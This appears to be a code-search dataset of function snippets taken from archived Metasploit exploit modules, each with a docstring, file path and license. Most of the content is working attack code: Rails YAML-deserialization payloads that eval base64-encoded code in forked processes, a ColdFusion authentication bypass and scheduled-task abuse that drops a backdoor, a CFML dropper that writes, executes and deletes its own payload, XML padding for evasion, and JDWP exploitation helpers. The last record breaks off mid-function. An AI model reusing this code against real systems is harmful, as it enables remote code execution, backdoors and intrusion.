|
Try to autodetect the target platform
|
detect_platform
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/21080.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/21080.rb
|
MIT
|
def on_new_session(cli)
if target['Platform'] == 'linux'
print_warning("Malicious executable is removed during payload execution")
end
if cli.type == 'meterpreter'
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_ups.each { |f|
base = File.basename(f)
f = "../webapps/SecurityManager/#{base}"
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
cli.shell_command_token("#{del_cmd} \"#{f}\"")
end
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
rescue ::Exception => e
print_error("Unable to delete: #{e.message}")
end
}
end
|
We're in SecurityManager/bin at this point
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/22304.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/22304.rb
|
MIT
|
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
|
This stub ensures that the payload runs outside of the Rails process
Otherwise, the session can be killed on timeout
|
detached_payload_stub
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24019.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24019.rb
|
MIT
|
def build_yaml_rails2
# Embed the payload with the detached stub
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
yaml
end
|
Create the YAML document that will be embedded into the XML
|
build_yaml_rails2
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24019.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24019.rb
|
MIT
|
def build_yaml_rails3
# Embed the payload with the detached stub
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml
end
|
Create the YAML document that will be embedded into the XML
|
build_yaml_rails3
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24019.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24019.rb
|
MIT
|
def build_request(v)
xml = ''
elo = Rex::Text.rand_text_alpha(rand(12)+4)
if datastore['XML::PadElement']
xml << "<#{elo}>"
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
end
el = Rex::Text.rand_text_alpha(rand(12)+4)
xml << "<#{el} type='yaml'>"
xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
xml << "</#{el}>"
if datastore['XML::PadElement']
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
xml << "</#{elo}>"
end
xml
end
|
Create the XML wrapper with any desired evasion
|
build_request
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24019.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24019.rb
|
MIT
|
def build_yaml_rails2
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
yaml.gsub(':', '\u003a')
end
|
Create the YAML document that will be embedded into the JSON
|
build_yaml_rails2
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24434.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24434.rb
|
MIT
|
def build_yaml_rails3
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml.gsub(':', '\u003a')
end
|
Create the YAML document that will be embedded into the JSON
|
build_yaml_rails3
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24434.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24434.rb
|
MIT
|
def login
cf_cookies = {}
ways = {
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
}
ways.each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
cf_cookies
end
|
Login any way possible, returning the cookies if successful, empty otherwise
|
login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def build_cookie_header cookies
cookies.to_a.map { |a| a.join '=' }.join '; '
end
|
Given a hash of cookie key value pairs, return a string
suitable for use as an HTTP Cookie header
|
build_cookie_header
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def schedule_drop cookies, input_uri, output_path
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
cookie_hash.merge! get_useful_cookies res
if res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
#twiddle_csrf cookies, false
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
end
# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = '../../wwwroot/CFIDE/' + output_path
# pick a start date. This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default',
'Start_Date' => start_date,
'End_Date' => '',
'ScheduleType' => 'Once',
'StartTimeOnce' => '1:37 PM',
'Interval' => 'Daily',
'StartTimeDWM' => '',
'customInterval_hour' => '0',
'customInterval_min' => '0',
'customInterval_sec' => '0',
'CustomStartTime' => '',
'CustomEndTime' => '',
'repeatradio' => 'norepeatforeverradio',
'Repeat' => '',
'crontime' => '',
'Operation' => 'HTTPRequest',
'ScheduledURL' => input_uri,
'Username' => '',
'Password' => '',
'Request_Time_out' => '',
'proxy_server' => '',
'http_proxy_port' => '',
'publish' => '1',
'publish_file' => publish_file,
'publish_overwrite' => 'on',
'eventhandler' => '',
'exclude' => '',
'onmisfire' => '',
'onexception' => '',
'oncomplete' => '',
'priority' => '5',
'retrycount' => '3',
'advancedmode' => 'true',
'adminsubmit' => 'Submit',
'taskNameOriginal' => task_id,
'groupOriginal' => 'default',
'modeOriginal' => 'server',
}
cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})
if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
end
print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
#twiddle_csrf cookies, true
if datastore['DELETE_TASK']
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
end
vprint_status normalize_uri(target_uri, publish_file)
publish_file
end
|
Using the provided +cookies+, schedule a ColdFusion task
to request content from +input_uri+ and drop it in +output_path+
|
schedule_drop
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def get_useful_cookies res
set_cookie = res.headers['Set-Cookie']
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by:
# * Dropping Path and Expires from the parsed cookies -- we don't care
# * Dropping empty (reset) cookies
%w(Path Expires).each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys.each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^CF/
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end
|
Given the HTTP response +res+, extract any interesting, non-empty
cookies, returning them as a hash
|
get_useful_cookies
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def adminapi_login user, password, use_rds
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => {
'method' => 'login',
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
}
})
if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end
{}
end
|
Authenticates to ColdFusion Administrator via the adminapi using the
specified +user+ and +password+. If +use_rds+ is true, it is assumed that
the provided credentials are for RDS, otherwise they are assumed to be
credentials for ColdFusion Administrator.
Returns a hash (cookie name => value) of the cookies obtained
|
adminapi_login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def administrator_login user, password
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end
|
Authenticates to ColdFusion Administrator using the specified +user+ and
+password+
Returns a hash (cookie name => value) of the cookies obtained
|
administrator_login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def componentutils_login user, password
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required",
'submit' => 'Login',
}
vars['rdsUserId'] = user if user
vars['j_password'] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => vars
})
cf_cookies = {}
if res.code.to_s =~ /^(?:200|30[12])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end
cf_cookies
end
|
Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
Returns a hash (cookie name => value) of the cookies obtained
|
componentutils_login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def check_cve_2013_0632
if datastore['USERDS']
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login 'foo', 'bar', true
if cf_cookies.empty?
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
return true
end
else
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
end
false
end
|
Checks for CVE-2013-0632, returning true if the target is
vulnerable, false otherwise
|
check_cve_2013_0632
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/24946.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/24946.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/26123.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/26123.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/26123.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/26123.rb
|
MIT
|
def exploit
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end
|
Make sure we're on the right port/path to support WebDAV
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/26123.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/26123.rb
|
MIT
|
def on_request_uri(cli, request)
vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@pl_sent = true
send_response(cli, @pl)
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/27135.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/27135.rb
|
MIT
|
def wait_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
waited = 0
while (not @pl_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
|
wait for the data to be sent
|
wait_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/27135.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/27135.rb
|
MIT
|
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
|
This stub ensures that the payload runs outside of the Rails process
Otherwise, the session can be killed on timeout
|
detached_payload_stub
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/27527.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/27527.rb
|
MIT
|
def get_nonce
res = send_request_cgi({
'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"),
'cookie' => @cookie
})
if not res or res.code != 200
print_warning("#{peer} - Could not access the script console")
end
if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
@nonce = $1
vprint_status("#{peer} - Found token '#{@nonce}'")
end
end
|
Check access to the Groovy script console and get CSRF nonce
|
get_nonce
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/28962.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/28962.rb
|
MIT
|
def check
@uri = target_uri
user = datastore['USERNAME']
pass = datastore['PASSWORD']
# login
print_status("#{peer} - Authenticating as '#{user}'")
res = login(user, pass)
if res and res.code == 302 and res.headers['location'] !~ /authfailed/
print_good("#{peer} - Authenticated successfully as '#{user}'")
# check access to the console
print_status("#{peer} - Checking access to the script console")
get_nonce
if @nonce.nil?
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Vulnerable
end
elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/
print_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
|
Check credentials and check for access to the Groovy console
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/28962.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/28962.rb
|
MIT
|
def gen_file_dropper
rand_var = rand_text_alpha(8+rand(8))
rand_file = rand_text_alpha(8+rand(8))
if datastore['TARGET'] == 0
rand_file += ".exe"
end
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
print_status "Building CFML shell..."
#embed payload
shell = ""
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
#if linux set correct permissions
if datastore['TARGET'] == 1
shell += " mode = \"700\""
end
shell += "/>"
#clean up our evil .cfm
shell += " <cffile action=\"delete\""
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
#execute our payload!
shell += " <cfexecute"
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
shell += " arguments = \"\""
shell += " timeout = \"60\"/>"
return shell
end
|
task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
instead we use a CFML filedropper to embed our payload and execute it.
this also removes the dependancy of using the probe.cfm to execute the file.
|
gen_file_dropper
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/30210.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/30210.rb
|
MIT
|
def get_html_value(html, type, name, value)
return nil unless html
return nil unless type
return nil unless name
return nil unless value
found = nil
html.each_line do |line|
if line =~ /(<#{type}[^\/]*name="#{name}".*?\/>)/i
found = $&
break
end
end
if found
doc = REXML::Document.new found
return doc.root.attributes[value]
end
''
end
|
The order of name, value keeps shifting so regex is painful.
Cant use nokogiri due to security issues
Cant use REXML directly as its not strict XHTML
So we do a filthy mixture of regex and REXML
|
get_html_value
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/31767.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/31767.rb
|
MIT
|
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
|
Fix the JSP payload to make it valid once is dropped
to the log file
|
fix
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33142.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33142.rb
|
MIT
|
def build_java_file_info(file_name, contents)
stream = "\xac\xed" # stream magic
stream << "\x00\x05" # stream version
stream << "\x73" # new Object
stream << "\x72" # TC_CLASSDESC
stream << ["com.appstream.cm.general.FileInfo".length].pack("n")
stream << "com.appstream.cm.general.FileInfo"
stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier
stream << "\x02" # flags SC_SERIALIZABLE
stream << [6].pack("n") # number of fields in the class
stream << "Z" # boolean
stream << ["bLastPage".length].pack("n")
stream << "bLastPage"
stream << "J" # long
stream << ["lFileSize".length].pack("n")
stream << "lFileSize"
stream << "[" # array
stream << ["baContent".length].pack("n")
stream << "baContent"
stream << "\x74" # TC_STRING
stream << ["[B".length].pack("n")
stream << "[B" # field's type (byte array)
stream << "L" # Object
stream << ["dTimeStamp".length].pack("n")
stream << "dTimeStamp"
stream << "\x74" # TC_STRING
stream << ["Ljava/util/Date;".length].pack("n")
stream << "Ljava/util/Date;" #field's type (Date)
stream << "L" # Object
stream << ["sContent".length].pack("n")
stream << "sContent"
stream << "\x74" # TC_STRING
stream << ["Ljava/lang/String;".length].pack("n")
stream << "Ljava/lang/String;" #field's type (String)
stream << "L" # Object
stream << ["sFileName".length].pack("n")
stream << "sFileName"
stream << "\x71" # TC_REFERENCE
stream << [0x007e0003].pack("N") # handle
stream << "\x78" # TC_ENDBLOCKDATA
stream << "\x70" # TC_NULL
# Values
stream << [1].pack("c") # bLastPage
stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize
stream << "\x75" # TC_ARRAY
stream << "\x72" # TC_CLASSDESC
stream << ["[B".length].pack("n")
stream << "[B" # byte array)
stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier
stream << "\x02" # flags SC_SERIALIZABLE
stream << [0].pack("n") # number of fields in the class
stream << "\x78" # TC_ENDBLOCKDATA
stream << "\x70" # TC_NULL
stream << [contents.length].pack("N")
stream << contents # baContent
stream << "\x70" # TC_NULL # dTimeStamp
stream << "\x70" # TC_NULL # sContent
stream << "\x74" # TC_STRING
stream << [file_name.length].pack("n")
stream << file_name # sFileName
stream
end
|
com.appstream.cm.general.FileInfo serialized object
|
build_java_file_info
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33521.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33521.rb
|
MIT
|
def read_reply(timeout = default_timeout)
response = sock.get(timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen, id, flags, errcode = response.unpack('NNCn')
response.slice!(0..10)
if errcode != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
end
response
end
|
Reads packet response for JDWP protocol
|
read_reply
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
response = read_reply
return "" unless response
return read_string(response)
end
|
Returns the characters contained in the string defined in target VM
|
solve_string
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
|
Unpacks received string structure from the server response into a normal string
|
read_string
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
buf = read_reply
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
|
Creates a new string object in the target VM and returns its id
|
create_string
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def build_string(data)
ret = [data.length].pack('N')
ret << data
ret
end
|
Packs normal string into string structure for target VM
|
build_string
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/33789.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/33789.rb
|
MIT
|
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
